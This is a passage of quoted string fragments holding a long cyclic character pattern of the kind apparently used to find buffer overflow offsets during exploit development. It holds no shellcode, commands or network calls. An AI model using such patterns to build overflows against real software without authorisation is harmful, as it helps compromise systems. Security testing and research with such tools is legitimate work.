"v3Iv4Iv5Iv6Iv7Iv8Iv9Iw0Iw1Iw2Iw3Iw4Iw5Iw6Iw7Iw8Iw9Ix0Ix1Ix2Ix3Ix4Ix5Ix6Ix7Ix8Ix9"
"Iy0Iy1Iy2Iy3Iy4Iy5Iy6Iy7Iy8Iy9Iz0Iz1Iz2Iz3Iz4Iz5Iz6Iz7Iz8Iz9Ja0Ja1Ja2Ja3Ja4Ja5Ja"
"6Ja7Ja8Ja9Jb0Jb1Jb2Jb3Jb4Jb5Jb6Jb7Jb8Jb9Jc0Jc1Jc2Jc3Jc4Jc5Jc6Jc7Jc8Jc9Jd0Jd1Jd2J"
"d3Jd4Jd5Jd6Jd7Jd8Jd9Je0Je1Je2Je3Je4Je5Je6Je7Je8Je9Jf0Jf1Jf2Jf3Jf4Jf5Jf6Jf7Jf8Jf9"
"Jg0Jg1Jg2Jg3Jg4Jg5Jg6Jg7Jg8Jg9Jh0Jh1Jh2Jh3Jh4Jh5Jh6Jh7Jh8Jh9Ji0Ji1Ji2Ji3Ji4Ji5Ji"
"6Ji7Ji8Ji9Jj0Jj1Jj2Jj3Jj4Jj5Jj6Jj7Jj8Jj9Jk0Jk1Jk2Jk3Jk4Jk5Jk6Jk7Jk8Jk9Jl0Jl1Jl2J"
"l3Jl4Jl5Jl6Jl7Jl8Jl9Jm0Jm1Jm2Jm3Jm4Jm5Jm6Jm7Jm8Jm9Jn0Jn1Jn2Jn3Jn4Jn5Jn6Jn7Jn8Jn9"
"Jo0Jo1Jo2Jo3Jo4Jo5Jo6Jo7Jo8Jo9Jp0Jp1Jp2Jp3Jp4Jp5Jp6Jp7Jp8Jp9Jq0Jq1Jq2Jq3Jq4Jq5Jq"
"6Jq7Jq8Jq9Jr0Jr1Jr2Jr3Jr4Jr5Jr6Jr7Jr8Jr9Js0Js1Js2Js3Js4Js5Js6Js7Js8Js9Jt0Jt1Jt2J"
"t3Jt4Jt5Jt6Jt7Jt8Jt9Ju0Ju1Ju2Ju3Ju4Ju5Ju6Ju7Ju8Ju9Jv0Jv1Jv2Jv3Jv4Jv5Jv6Jv7Jv8Jv9"
"Jw0Jw1Jw2Jw3Jw4Jw5Jw6Jw7Jw8Jw9Jx0Jx1Jx2Jx3Jx4Jx5Jx6Jx7Jx8Jx9Jy0Jy1Jy2Jy3Jy4Jy5Jy"
"6Jy7Jy8Jy9Jz0Jz1Jz2Jz3Jz4Jz5Jz6Jz7Jz8Jz9Ka0Ka1Ka2Ka3Ka4Ka5Ka6Ka7Ka8Ka9Kb0Kb1Kb2K"
"b3Kb4Kb5Kb6Kb7Kb8Kb9Kc0Kc1Kc2Kc3Kc4Kc5Kc6Kc7Kc8Kc9Kd0Kd1Kd2Kd3Kd4Kd5Kd6Kd7Kd8Kd9"
"Ke0Ke1Ke2Ke3Ke4Ke5Ke6Ke7Ke8Ke9Kf0Kf1Kf2Kf3Kf4Kf5Kf6Kf7Kf8Kf9Kg0Kg1Kg2Kg3Kg4Kg5Kg"
"6Kg7Kg8Kg9Kh0Kh1Kh2Kh3Kh4Kh5Kh6Kh7Kh8Kh9Ki0Ki1Ki2Ki3Ki4Ki5Ki6Ki7Ki8Ki9Kj0Kj1Kj2K"
"j3Kj4Kj5Kj6Kj7Kj8Kj9Kk0Kk1Kk2Kk3Kk4Kk5Kk6Kk7Kk8Kk9Kl0Kl1Kl2Kl3Kl4Kl5Kl6Kl7Kl8Kl9"
"Km0Km1Km2Km3Km4Km5Km6Km7Km8Km9Kn0Kn1Kn2Kn3Kn4Kn5Kn6Kn7Kn8Kn9Ko0Ko1Ko2Ko3Ko4Ko5Ko"
"6Ko7Ko8Ko9Kp0Kp1Kp2Kp3Kp4Kp5Kp6Kp7Kp8Kp9Kq0Kq1Kq2Kq3Kq4Kq5Kq6Kq7Kq8Kq9Kr0Kr1Kr2K"
"r3Kr4Kr5Kr6Kr7Kr8Kr9Ks0Ks1Ks2Ks3Ks4Ks5Ks6Ks7Ks8Ks9Kt0Kt1Kt2Kt3Kt4Kt5Kt6Kt7Kt8Kt9"
"Ku0Ku1Ku2Ku3Ku4Ku5Ku6Ku7Ku8Ku9Kv0Kv1Kv2Kv3Kv4Kv5Kv6Kv7Kv8Kv9Kw0Kw1Kw2Kw3Kw4Kw5Kw"
"6Kw7Kw8Kw9Kx0Kx1Kx2Kx3Kx4Kx5Kx6Kx7Kx8Kx9Ky0Ky1Ky2Ky3Ky4Ky5Ky6Ky7Ky8Ky9Kz0Kz1Kz2K"
"z3Kz4Kz5Kz6Kz7Kz8Kz9La0La1La2La3La4La5La6La7La8La9Lb0Lb1Lb2Lb3Lb4Lb5Lb6Lb7Lb8Lb9"
"Lc0Lc1Lc2Lc3Lc4Lc5Lc6Lc7Lc8Lc9Ld0Ld1Ld2Ld3Ld4Ld5Ld6Ld7Ld8Ld9Le0Le1Le2Le3Le4Le5Le"
"6Le7Le8Le9Lf0Lf1Lf2Lf3Lf4Lf5Lf6Lf7Lf8Lf9Lg0Lg1Lg2Lg3Lg4Lg5Lg6Lg7Lg8Lg9Lh0Lh1Lh2L"
"h3Lh4Lh5Lh6Lh7Lh8Lh9Li0Li1Li2Li3Li4Li5Li6Li7Li8Li9Lj0Lj1Lj2Lj3Lj4Lj5Lj6Lj7Lj8Lj9"
"Lk0Lk1Lk2Lk3Lk4Lk5Lk6Lk7Lk8Lk9Ll0Ll1Ll2Ll3Ll4Ll5Ll6Ll7Ll8Ll9Lm0Lm1Lm2Lm3Lm4Lm5Lm"
"6Lm7Lm8Lm9Ln0Ln1Ln2Ln3Ln4Ln5Ln6Ln7Ln8Ln9Lo0Lo1Lo2Lo3Lo4Lo5Lo6Lo7Lo8Lo9Lp0Lp1Lp2L"
"p3Lp4Lp5Lp6Lp7Lp8Lp9Lq0Lq1Lq2Lq3Lq4Lq5Lq6Lq7Lq8Lq9Lr0Lr1Lr2Lr3Lr4Lr5Lr6Lr7Lr8Lr9"
"Ls0Ls1Ls2Ls3Ls4Ls5Ls6Ls7Ls8Ls9Lt0Lt1Lt2Lt3Lt4Lt5Lt6Lt7Lt8Lt9Lu0Lu1Lu2Lu3Lu4Lu5Lu"
"6Lu7Lu8Lu9Lv0Lv1Lv2Lv3Lv4Lv5Lv6Lv7Lv8Lv9Lw0Lw1Lw2Lw3Lw4Lw5Lw6Lw7Lw8Lw9Lx0Lx1Lx2L"
"x3Lx4Lx5Lx6Lx7Lx8Lx9Ly0Ly1Ly2Ly3Ly4Ly5Ly6Ly7Ly8Ly9Lz0Lz1Lz2Lz3Lz4Lz5Lz6Lz7Lz8Lz9"
"Ma0Ma1Ma2Ma3Ma4Ma5Ma6Ma7Ma8Ma9Mb0Mb1Mb2Mb3Mb4Mb5Mb6Mb7Mb8Mb9Mc0Mc1Mc2Mc3Mc4Mc5Mc"
"6Mc7Mc8Mc9Md0Md1Md2Md3Md4Md5Md6Md7Md8Md9Me0Me1Me2Me3Me4Me5Me6Me7Me8Me9Mf0Mf1Mf2M"
"f3Mf4Mf5Mf6Mf7Mf8Mf9Mg0Mg1Mg2Mg3Mg4Mg5Mg6Mg7Mg8Mg9Mh0Mh1Mh2Mh3Mh4Mh5Mh6Mh7Mh8Mh9"
"Mi0Mi1Mi2Mi3Mi4Mi5Mi6Mi7Mi8Mi9Mj0Mj1Mj2Mj3Mj4Mj5Mj6Mj7Mj8Mj9Mk0Mk1Mk2Mk3Mk4Mk5Mk"
"6Mk7Mk8Mk9Ml0Ml1Ml2Ml3Ml4Ml5Ml6Ml7Ml8Ml9Mm0Mm1Mm2Mm3Mm4Mm5Mm6Mm7Mm8Mm9Mn0Mn1Mn2M"
"n3Mn4Mn5Mn6Mn7Mn8Mn9Mo0Mo1Mo2Mo3Mo4Mo5Mo6Mo7Mo8Mo9Mp0Mp1Mp2Mp3Mp4Mp5Mp6Mp7Mp8Mp9"
"Mq0Mq1Mq2Mq3Mq4Mq5Mq6Mq7Mq8Mq9Mr0Mr1Mr2Mr3Mr4Mr5Mr6Mr7Mr8Mr9Ms0Ms1Ms2Ms3Ms4Ms5Ms"
"6Ms7Ms8Ms9Mt0Mt1Mt2Mt3Mt4Mt5Mt6Mt7Mt8Mt9Mu0Mu1Mu2Mu3Mu4Mu5Mu6Mu7Mu8Mu9Mv0Mv1Mv2M"
"v3Mv4Mv5Mv6Mv7Mv8Mv9Mw0Mw1Mw2Mw3Mw4Mw5Mw6Mw7Mw8Mw9Mx0Mx1Mx2Mx3Mx4Mx5Mx6Mx7Mx8Mx9"
"My0My1My2My3My4My5My6My7My8My9Mz0Mz1Mz2Mz3Mz4Mz5Mz6Mz7Mz8Mz9Na0Na1Na2Na3Na4Na5Na"
"6Na7Na8Na9Nb0Nb1Nb2Nb3Nb4Nb5Nb6Nb7Nb8Nb9Nc0Nc1Nc2Nc3Nc4Nc5Nc6Nc7Nc8Nc9Nd0Nd1Nd2N"
"d3Nd4Nd5Nd6Nd7Nd8Nd9Ne0Ne1Ne2Ne3Ne4Ne5Ne6Ne7Ne8Ne9Nf0Nf1Nf2Nf3Nf4Nf5Nf6Nf7Nf8Nf9"
"Ng0Ng1Ng2Ng3Ng4Ng5Ng6Ng7Ng8Ng9Nh0Nh1Nh2Nh3Nh4Nh5Nh6Nh7Nh8Nh9Ni0Ni1Ni2Ni3Ni4Ni5Ni"
"6Ni7Ni8Ni9Nj0Nj1Nj2Nj3Nj4Nj5Nj6Nj7Nj8Nj9Nk0Nk1Nk2Nk3Nk4Nk5Nk6Nk7Nk8Nk9Nl0Nl1Nl2N"
"l3Nl4Nl5Nl6Nl7Nl8Nl9Nm0Nm1Nm2Nm3Nm4Nm5Nm6Nm7Nm8Nm9Nn0Nn1Nn2Nn3Nn4Nn5Nn6Nn7Nn8Nn9"
"No0No1No2No3No4No5No6No7No8No9Np0Np1Np2Np3Np4Np5Np6Np7Np8Np9Nq0Nq1Nq2Nq3Nq4Nq5Nq"
"6Nq7Nq8Nq9Nr0Nr1Nr2Nr3Nr4Nr5Nr6Nr7Nr8Nr9Ns0Ns1Ns2Ns3Ns4Ns5Ns6Ns7Ns8Ns9Nt0Nt1Nt2N"
"t3Nt4Nt5Nt6Nt7Nt8Nt9Nu0Nu1Nu2Nu3Nu4Nu5Nu6Nu7Nu8Nu9Nv0Nv1Nv2Nv3Nv4Nv5Nv6Nv7Nv8Nv9"
"Nw0Nw1Nw2Nw3Nw4Nw5Nw6Nw7Nw8Nw9Nx0Nx1Nx2Nx3Nx4Nx5Nx6Nx7Nx8Nx9Ny0Ny1Ny2Ny3Ny4Ny5Ny"
"6Ny7Ny8Ny9Nz0Nz1Nz2Nz3Nz4Nz5Nz6Nz7Nz8Nz9Oa0Oa1Oa2Oa3Oa4Oa5Oa6Oa7Oa8Oa9Ob0Ob1Ob2O"
"b3Ob4Ob5Ob6Ob7Ob8Ob9Oc0Oc1Oc2Oc3Oc4Oc5Oc6Oc7Oc8Oc9Od0Od1Od2Od3Od4Od5Od6Od7Od8Od9"
"Oe0Oe1Oe2Oe3Oe4Oe5Oe6Oe7Oe8Oe9Of0Of1Of2Of3Of4Of5Of6Of7Of8Of9Og0Og1Og2Og3Og4Og5Og"
"6Og7Og8Og9Oh0Oh1Oh2Oh3Oh4Oh5Oh6Oh7Oh8Oh9Oi0Oi1Oi2Oi3Oi4Oi5Oi6Oi7Oi8Oi9Oj0Oj1Oj2O"
"j3Oj4Oj5Oj6Oj7Oj8Oj9Ok0Ok1Ok2Ok3Ok4Ok5Ok6Ok7Ok8Ok9Ol0Ol1Ol2Ol3Ol4Ol5Ol6Ol7Ol8Ol9"
"Om0Om1Om2Om3Om4Om5Om6Om7Om8Om9On0On1On2On3On4On5On6On7On8On9Oo0Oo1Oo2Oo3Oo4Oo5Oo"
"6Oo7Oo8Oo9Op0Op1Op2Op3Op4Op5Op6Op7Op8Op9Oq0Oq1Oq2Oq3Oq4Oq5Oq6Oq7Oq8Oq9Or0Or1Or2O"
"r3Or4Or5Or6Or7Or8Or9Os0Os1Os2Os3Os4Os5Os6Os7Os8Os9Ot0Ot1Ot2Ot3Ot4Ot5Ot6Ot7Ot8Ot9"
"Ou0Ou1Ou2Ou3Ou4Ou5Ou6Ou7Ou8Ou9Ov0Ov1Ov2Ov3Ov4Ov5Ov6Ov7Ov8Ov9Ow0Ow1Ow2Ow3Ow4Ow5Ow"
"6Ow7Ow8Ow9Ox0Ox1Ox2Ox3Ox4Ox5Ox6Ox7Ox8Ox9Oy0Oy1Oy2Oy3Oy4Oy5Oy6Oy7Oy8Oy9Oz0Oz1Oz2O"
"z3Oz4Oz5Oz6Oz7Oz8Oz9Pa0Pa1Pa2Pa3Pa4Pa5Pa6Pa7Pa8Pa9Pb0Pb1Pb2Pb3Pb4Pb5Pb6Pb7Pb8Pb9"
"Pc0Pc1Pc2Pc3Pc4Pc5Pc6Pc7Pc8Pc9Pd0Pd1Pd2Pd3Pd4Pd5Pd6Pd7Pd8Pd9Pe0Pe1Pe2Pe3Pe4Pe5Pe"
"6Pe7Pe8Pe9Pf0Pf1Pf2Pf3Pf4Pf5Pf6Pf7Pf8Pf9Pg0Pg1Pg2Pg3Pg4Pg5Pg6Pg7Pg8Pg9Ph0Ph1Ph2P"
"h3Ph4Ph5Ph6Ph7Ph8Ph9Pi0Pi1Pi2Pi3Pi4Pi5Pi6Pi7Pi8Pi9Pj0Pj1Pj2Pj3Pj4Pj5Pj6Pj7Pj8Pj9"
"Pk0Pk1Pk2Pk3Pk4Pk5Pk6Pk7Pk8Pk9Pl0Pl1Pl2Pl3Pl4Pl5Pl6Pl7Pl8Pl9Pm0Pm1Pm2Pm3Pm4Pm5Pm"
"6Pm7Pm8Pm9Pn0Pn1Pn2Pn3Pn4Pn5Pn6Pn7Pn8Pn9Po0Po1Po2Po3Po4Po5Po6Po7Po8Po9Pp0Pp1Pp2P"
"p3Pp4Pp5Pp6Pp7Pp8Pp9Pq0Pq1Pq2Pq3Pq4Pq5Pq6Pq7Pq8Pq9Pr0Pr1Pr2Pr3Pr4Pr5Pr6Pr7Pr8Pr9"
"Ps0Ps1Ps2Ps3Ps4Ps5Ps6Ps7Ps8Ps9Pt0Pt1Pt2Pt3Pt4Pt5Pt6Pt7Pt8Pt9Pu0Pu1Pu2Pu3Pu4Pu5Pu"
"6Pu7Pu8Pu9Pv0Pv1Pv2Pv3Pv4Pv5Pv6Pv7Pv8Pv9Pw0Pw1Pw2Pw3Pw4Pw5Pw6Pw7Pw8Pw9Px0Px1Px2P"
"x3Px4Px5Px6Px7Px8Px9Py0Py1Py2Py3Py4Py5Py6Py7Py8Py9Pz0Pz1Pz2Pz3Pz4Pz5Pz6Pz7Pz8Pz9"
"Qa0Qa1Qa2Qa3Qa4Qa5Qa6Qa7Qa8Qa9Qb0Qb1Qb2Qb3Qb4Qb5Qb6Qb7Qb8Qb9Qc0Qc1Qc2Qc3Qc4Qc5Qc"
"6Qc7Qc8Qc9Qd0Qd1Qd2Qd3Qd4Qd5Qd6Qd7Qd8Qd9Qe0Qe1Qe2Qe3Qe4Qe5Qe6Qe7Qe8Qe9Qf0Qf1Qf2Q"
"f3Qf4Qf5Qf6Qf7Qf8Qf9Qg0Qg1Qg2Qg3Qg4Qg5Qg6Qg7Qg8Qg9Qh0Qh1Qh2Qh3Qh4Qh5Qh6Qh7Qh8Qh9"
"Qi0Qi1Qi2Qi3Qi4Qi5Qi6Qi7Qi8Qi9Qj0Qj1Qj2Qj3Qj4Qj5Qj6Qj7Qj8Qj9Qk0Qk1Qk2Qk3Qk4Qk5Qk"
"6Qk7Qk8Qk9Ql0Ql1Ql2Ql3Ql4Ql5Ql6Ql7Ql8Ql9Qm0Qm1Qm2Qm3Qm4Qm5Qm6Qm7Qm8Qm9Qn0Qn1Qn2Q"
"n3Qn4Qn5Qn6Qn7Qn8Qn9Qo0Qo1Qo2Qo3Qo4Qo5Qo6Qo7Qo8Qo9Qp0Qp1Qp2Qp3Qp4Qp5Qp6Qp7Qp8Qp9"
"Qq0Qq1Qq2Qq3Qq4Qq5Qq6Qq7Qq8Qq9Qr0Qr1Qr2Qr3Qr4Qr5Qr6Qr7Qr8Qr9Qs0Qs1Qs2Qs3Qs4Qs5Qs"
"6Qs7Qs8Qs9Qt0Qt1Qt2Qt3Qt4Qt5Qt6Qt7Qt8Qt9Qu0Qu1Qu2Qu3Qu4Qu5Qu6Qu7Qu8Qu9Qv0Qv1Qv2Q"
"v3Qv4Qv5Qv6Qv7Qv8Qv9Qw0Qw1Qw2Qw3Qw4Qw5Qw6Qw7Qw8Qw9Qx0Qx1Qx2Qx3Qx4Qx5Qx6Qx7Qx8Qx9"
"Qy0Qy1Qy2Qy3Qy4Qy5Qy6Qy7Qy8Qy9Qz0Qz1Qz2Qz3Qz4Qz5Qz6Qz7Qz8Qz9Ra0Ra1Ra2Ra3Ra4Ra5Ra"
"6Ra7Ra8Ra9Rb0Rb1Rb2Rb3Rb4Rb5Rb6Rb7Rb8Rb9Rc0Rc1Rc2Rc3Rc4Rc5Rc6Rc7Rc8Rc9Rd0Rd1Rd2R"
"d3Rd4Rd5Rd6Rd7Rd8Rd9Re0Re1Re2Re3Re4Re5Re6Re7Re8Re9Rf0Rf1Rf2Rf3Rf4Rf5Rf6Rf7Rf8Rf9"
"Rg0Rg1Rg2Rg3Rg4Rg5Rg6Rg7Rg8Rg9Rh0Rh1Rh2Rh3Rh4Rh5Rh6Rh7Rh8Rh9Ri0Ri1Ri2Ri3Ri4Ri5Ri"
"6Ri7Ri8Ri9Rj0Rj1Rj2Rj3Rj4Rj5Rj6Rj7Rj8Rj9Rk0Rk1Rk2Rk3Rk4Rk5Rk6Rk7Rk8Rk9Rl0Rl1Rl2R"
"l3Rl4Rl5Rl6Rl7Rl8Rl9Rm0Rm1Rm2Rm3Rm4Rm5Rm6Rm7Rm8Rm9Rn0Rn1Rn2Rn3Rn4Rn5Rn6Rn7Rn8Rn9"
"Ro0Ro1Ro2Ro3Ro4Ro5Ro6Ro7Ro8Ro9Rp0Rp1Rp2Rp3Rp4Rp5Rp6Rp7Rp8Rp9Rq0Rq1Rq2Rq3Rq4Rq5Rq"
"6Rq7Rq8Rq9Rr0Rr1Rr2Rr3Rr4Rr5Rr6Rr7Rr8Rr9Rs0Rs1Rs2Rs3Rs4Rs5Rs6Rs7Rs8Rs9Rt0Rt1Rt2R"
"t3Rt4Rt5Rt6Rt7Rt8Rt9Ru0Ru1Ru2Ru3Ru4Ru5Ru6Ru7Ru8Ru9Rv0Rv1Rv2Rv3Rv4Rv5Rv6Rv7Rv8Rv9"
"Rw0Rw1Rw2Rw3Rw4Rw5Rw6Rw7Rw8Rw9Rx0Rx1Rx2Rx3Rx4Rx5Rx6Rx7Rx8Rx9Ry0Ry1Ry2Ry3Ry4Ry5Ry"
"6Ry7Ry8Ry9Rz0Rz1Rz2Rz3Rz4Rz5Rz6Rz7Rz8Rz9Sa0Sa1Sa2Sa3Sa4Sa5Sa6Sa7Sa8Sa9Sb0Sb1Sb2S"
"b3Sb4Sb5Sb6Sb7Sb8Sb9Sc0Sc1Sc2Sc3Sc4Sc5Sc6Sc7Sc8Sc9Sd0Sd1Sd2Sd3Sd4Sd5Sd6Sd7Sd8Sd9"
"Se0Se1Se2Se3Se4Se5Se6Se7Se8Se9Sf0Sf1Sf2Sf3Sf4Sf5Sf6Sf7Sf8Sf9Sg0Sg1Sg2Sg3Sg4Sg5Sg"
"6Sg7Sg8Sg9Sh0Sh1Sh2Sh3Sh4Sh5Sh6Sh7Sh8Sh9Si0Si1Si2Si3Si4Si5Si6Si7Si8Si9Sj0Sj1Sj2S"
"j3Sj4Sj5Sj6Sj7Sj8Sj9Sk0Sk1Sk2Sk3Sk4Sk5Sk6Sk7Sk8Sk9Sl0Sl1Sl2Sl3Sl4Sl5Sl6Sl7Sl8Sl9"
"Sm0Sm1Sm2Sm3Sm4Sm5Sm6Sm7Sm8Sm9Sn0Sn1Sn2Sn3Sn4Sn5Sn6Sn7Sn8Sn9So0So1So2So3So4So5So"
"6So7So8So9Sp0Sp1Sp2Sp3Sp4Sp5Sp6Sp7Sp8Sp9Sq0Sq1Sq2Sq3Sq4Sq5Sq6Sq7Sq8Sq9Sr0Sr1Sr2S"
"r3Sr4Sr5Sr6Sr7Sr8Sr9Ss0Ss1Ss2Ss3Ss4Ss5Ss6Ss7Ss8Ss9St0St1St2St3St4St5St6St7St8St9"
"Su0Su1Su2Su3Su4Su5Su6Su7Su8Su9Sv0Sv1Sv2Sv3Sv4Sv5Sv6Sv7Sv8Sv9Sw0Sw1Sw2Sw3Sw4Sw5Sw"
"6Sw7Sw8Sw9Sx0Sx1Sx2Sx3Sx4Sx5Sx6Sx7Sx8Sx9Sy0Sy1Sy2Sy3Sy4Sy5Sy6Sy7Sy8Sy9Sz0Sz1Sz2S"
"z3Sz4Sz5Sz6Sz7Sz8Sz9Ta0Ta1Ta2Ta3Ta4Ta5Ta6Ta7Ta8Ta9Tb0Tb1Tb2Tb3Tb4Tb5Tb6Tb7Tb8Tb9"
"Tc0Tc1Tc2Tc3Tc4Tc5Tc6Tc7Tc8Tc9Td0Td1Td2Td3Td4Td5Td6Td7Td8Td9Te0Te1Te2Te3Te4Te5Te"
"6Te7Te8Te9Tf0Tf1Tf2Tf3Tf4Tf5Tf6Tf7Tf8Tf9Tg0Tg1Tg2Tg3Tg4Tg5Tg6Tg7Tg8Tg9Th0Th1Th2T"
"h3Th4Th5Th6Th7Th8Th9Ti0Ti1Ti2Ti3Ti4Ti5Ti6Ti7Ti8Ti9Tj0Tj1Tj2Tj3Tj4Tj5Tj6Tj7Tj8Tj9"
"Tk0Tk1Tk2Tk3Tk4Tk5Tk6Tk7Tk8Tk9Tl0Tl1Tl2Tl3Tl4Tl5Tl6Tl7Tl8Tl9Tm0Tm1Tm2Tm3Tm4Tm5Tm"
"6Tm7Tm8Tm9Tn0Tn1Tn2Tn3Tn4Tn5Tn6Tn7Tn8Tn9To0To1To2To3To4To5To6To7To8To9Tp0Tp1Tp2T"
"p3Tp4Tp5Tp6Tp7Tp8Tp9Tq0Tq1Tq2Tq3Tq4Tq5Tq6Tq7Tq8Tq9Tr0Tr1Tr2Tr3Tr4Tr5Tr6Tr7Tr8Tr9"
"Ts0Ts1Ts2Ts3Ts4Ts5Ts6Ts7Ts8Ts9Tt0Tt1Tt2Tt3Tt4Tt5Tt6Tt7Tt8Tt9Tu0Tu1Tu2Tu3Tu4Tu5Tu"
"6Tu7Tu8Tu9Tv0Tv1Tv2Tv3Tv4Tv5Tv6Tv7Tv8Tv9Tw0Tw1Tw2Tw3Tw4Tw5Tw6Tw7Tw8Tw9Tx0Tx1Tx2T"
"x3Tx4Tx5Tx6Tx7Tx8Tx9Ty0Ty1Ty2Ty3Ty4Ty5Ty6Ty7Ty8Ty9Tz0Tz1Tz2Tz3Tz4Tz5Tz6Tz7Tz8Tz9"
"Ua0Ua1Ua2Ua3Ua4Ua5Ua6Ua7Ua8Ua9Ub0Ub1Ub2Ub3Ub4Ub5Ub6Ub7Ub8Ub9Uc0Uc1Uc2Uc3Uc4Uc5Uc"
"6Uc7Uc8Uc9Ud0Ud1Ud2Ud3Ud4Ud5Ud6Ud7Ud8Ud9Ue0Ue1Ue2Ue3Ue4Ue5Ue6Ue7Ue8Ue9Uf0Uf1Uf2U"
"f3Uf4Uf5Uf6Uf7Uf8Uf9Ug0Ug1Ug2Ug3Ug4Ug5Ug6Ug7Ug8Ug9Uh0Uh1Uh2Uh3Uh4Uh5Uh6Uh7Uh8Uh9"
"Ui0Ui1Ui2Ui3Ui4Ui5Ui6Ui7Ui8Ui9Uj0Uj1Uj2Uj3Uj4Uj5Uj6Uj7Uj8Uj9Uk0Uk1Uk2Uk3Uk4Uk5Uk"
"6Uk7Uk8Uk9Ul0Ul1Ul2Ul3Ul4Ul5Ul6Ul7Ul8Ul9Um0Um1Um2Um3Um4Um5Um6Um7Um8Um9Un0Un1Un2U"
"n3Un4Un5Un6Un7Un8Un9Uo0Uo1Uo2Uo3Uo4Uo5Uo6Uo7Uo8Uo9Up0Up1Up2Up3Up4Up5Up6Up7Up8Up9"
"Uq0Uq1Uq2Uq3Uq4Uq5Uq6Uq7Uq8Uq9Ur0Ur1Ur2Ur3Ur4Ur5Ur6Ur7Ur8Ur9Us0Us1Us2Us3Us4Us5Us"
"6Us7Us8Us9Ut0Ut1Ut2Ut3Ut4Ut5Ut6Ut7Ut8Ut9Uu0Uu1Uu2Uu3Uu4Uu5Uu6Uu7Uu8Uu9Uv0Uv1Uv2U"
"v3Uv4Uv5Uv6Uv7Uv8Uv9Uw0Uw1Uw2Uw3Uw4Uw5Uw6Uw7Uw8Uw9Ux0Ux1Ux2Ux3Ux4Ux5Ux6Ux7Ux8Ux9"
"Uy0Uy1Uy2Uy3Uy4Uy5Uy6Uy7Uy8Uy9Uz0Uz1Uz2Uz3Uz4Uz5Uz6Uz7Uz8Uz9Va0Va1Va2Va3Va4Va5Va"
"6Va7Va8Va9Vb0Vb1Vb2Vb3Vb4Vb5Vb6Vb7Vb8Vb9Vc0Vc1Vc2Vc3Vc4Vc5Vc6Vc7Vc8Vc9Vd0Vd1Vd2V"
"d3Vd4Vd5Vd6Vd7Vd8Vd9Ve0Ve1Ve2Ve3Ve4Ve5Ve6Ve7Ve8Ve9Vf0Vf1Vf2Vf3Vf4Vf5Vf6Vf7Vf8Vf9"
"Vg0Vg1Vg2Vg3Vg4Vg5Vg6Vg7Vg8Vg9Vh0Vh1Vh2Vh3Vh4Vh5Vh6Vh7Vh8Vh9Vi0Vi1Vi2Vi3Vi4Vi5Vi"
"6Vi7Vi8Vi9Vj0Vj1Vj2Vj3Vj4Vj5Vj6Vj7Vj8Vj9Vk0Vk1Vk2Vk3Vk4Vk5Vk6Vk7Vk8Vk9Vl0Vl1Vl2V"
"l3Vl4Vl5Vl6Vl7Vl8Vl9Vm0Vm1Vm2Vm3Vm4Vm5Vm6Vm7Vm8Vm9Vn0Vn1Vn2Vn3Vn4Vn5Vn6Vn7Vn8Vn9"
"Vo0Vo1Vo2Vo3Vo4Vo5Vo6Vo7Vo8Vo9Vp0Vp1Vp2Vp3Vp4Vp5Vp6Vp7Vp8Vp9Vq0Vq1Vq2Vq3Vq4Vq5Vq"
"6Vq7Vq8Vq9Vr0Vr1Vr2Vr3Vr4Vr5Vr6Vr7Vr8Vr9Vs0Vs1Vs2Vs3Vs4Vs5Vs6Vs7Vs8Vs9Vt0Vt1Vt2V"
"t3Vt4Vt5Vt6Vt7Vt8Vt9Vu0Vu1Vu2Vu3Vu4Vu5Vu6Vu7Vu8Vu9Vv0Vv1Vv2Vv3Vv4Vv5Vv6Vv7Vv8Vv9"
"Vw0Vw1Vw2Vw3Vw4Vw5Vw6Vw7Vw8Vw9Vx0Vx1Vx2Vx3Vx4Vx5Vx6Vx7Vx8Vx9Vy0Vy1Vy2Vy3Vy4Vy5Vy"
"6Vy7Vy8Vy9Vz0Vz1Vz2Vz3Vz4Vz5Vz6Vz7Vz8Vz9Wa0Wa1Wa2Wa3Wa4Wa5Wa6Wa7Wa8Wa9Wb0Wb1Wb2W"
"b3Wb4Wb5Wb6Wb7Wb8Wb9Wc0Wc1Wc2Wc3Wc4Wc5Wc6Wc7Wc8Wc9Wd0Wd1Wd2Wd3Wd4Wd5Wd6Wd7Wd8Wd9"
"We0We1We2We3We4We5We6We7We8We9Wf0Wf1Wf2Wf3Wf4Wf5Wf6Wf7Wf8Wf9Wg0Wg1Wg2Wg3Wg4Wg5Wg"
"6Wg7Wg8Wg9Wh0Wh1Wh2Wh3Wh4Wh5Wh6Wh7Wh8Wh9Wi0Wi1Wi2Wi3Wi4Wi5Wi6Wi7Wi8Wi9Wj0Wj1Wj2W"
"j3Wj4Wj5Wj6Wj7Wj8Wj9Wk0Wk1Wk2Wk3Wk4Wk5Wk6Wk7Wk8Wk9Wl0Wl1Wl2Wl3Wl4Wl5Wl6Wl7Wl8Wl9"
"Wm0Wm1Wm2Wm3Wm4Wm5Wm6Wm7Wm8Wm9Wn0Wn1Wn2Wn3Wn4Wn5Wn6Wn7Wn8Wn9Wo0Wo1Wo2Wo3Wo4Wo5Wo"
"6Wo7Wo8Wo9Wp0Wp1Wp2Wp3Wp4Wp5Wp6Wp7Wp8Wp9Wq0Wq1Wq2Wq3Wq4Wq5Wq6Wq7Wq8Wq9Wr0Wr1Wr2W"
"r3Wr4Wr5Wr6Wr7Wr8Wr9Ws0Ws1Ws2Ws3Ws4Ws5Ws6Ws7Ws8Ws9Wt0Wt1Wt2Wt3Wt4Wt5Wt6Wt7Wt8Wt9"
"Wu0Wu1Wu2Wu3Wu4Wu5Wu6Wu7Wu8Wu9Wv0Wv1Wv2Wv3Wv4Wv5Wv6Wv7Wv8Wv9Ww0Ww1Ww2Ww3Ww4Ww5Ww"
"6Ww7Ww8Ww9Wx0Wx1Wx2Wx3Wx4Wx5Wx6Wx7Wx8Wx9Wy0Wy1Wy2Wy3Wy4Wy5Wy6Wy7Wy8Wy9Wz0Wz1Wz2W"
"z3Wz4Wz5Wz6Wz7Wz8Wz9Xa0Xa1Xa2Xa3Xa4Xa5Xa6Xa7Xa8Xa9Xb0Xb1Xb2Xb3Xb4Xb5Xb6Xb7Xb8Xb9"
"Xc0Xc1Xc2Xc3Xc4Xc5Xc6Xc7Xc8Xc9Xd0Xd1Xd2Xd3Xd4Xd5Xd6Xd7Xd8Xd9Xe0Xe1Xe2Xe3Xe4Xe5Xe"
"6Xe7Xe8Xe9Xf0Xf1Xf2Xf3Xf4Xf5Xf6Xf7Xf8Xf9Xg0Xg1Xg2Xg3Xg4Xg5Xg6Xg7Xg8Xg9Xh0Xh1Xh2X"
